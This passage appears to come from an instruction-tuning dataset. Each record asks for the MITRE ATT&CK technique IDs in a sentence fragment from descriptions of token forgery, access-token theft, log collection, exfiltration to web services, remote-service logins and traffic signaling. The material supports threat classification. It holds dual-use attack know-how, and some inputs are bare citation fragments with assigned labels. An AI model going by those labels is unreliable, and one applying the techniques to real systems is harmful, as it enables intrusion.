taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS Temporary Security Credentials)(Citation: Zimbra Preauth)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS Temporary Security Credentials)(Citation: Zimbra Preauth) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SolarWinds Customer Guidance)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SolarWinds Customer Guidance) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may generate these cookies in order to gain access to web resources.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may generate these cookies in order to gain access to web resources. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation:", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie) ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation:", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019) ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may enumerate system and service logs to find useful data.", "output": "T1654", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may enumerate system and service logs to find useful data. ### Response: T1654."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).", "output": "T1654", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)). ### Response: T1654."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Host binaries may be leveraged to collect system logs.", "output": "T1654", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Host binaries may be leveraged to collect system logs. ### Response: T1654."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor)", "output": "T1654", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) ### Response: T1654."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)", "output": "T1654", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) ### Response: T1654."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also target centralized logging infrastructure such as SIEMs.", "output": "T1654", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also target centralized logging infrastructure such as SIEMs. ### Response: T1654."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.", "output": "T1654", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis. ### Response: T1654."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows uses access tokens to determine the ownership of a running process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows uses access tokens to determine the ownership of a running process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this occurs, the process also takes on the security context associated with the new token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this occurs, the process also takes on the security context associated with the new token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)).", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary must already be in a privileged user context (i.e. administrator) to steal a token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary must already be in a privileged user context (i.e. administrator) to steal a token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, this may be useful for when the target user has a non-network logon session on the system.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, this may be useful for when the target user has a non-network logon session on the system. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Firewall rules may also already exist to permit traffic to these services.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Firewall rules may also already exist to permit traffic to these services. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel.", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code repositories are often accessible via an API (ex: https://api.github.com).", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code repositories are often accessible via an API (ex: https://api.github.com). ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### 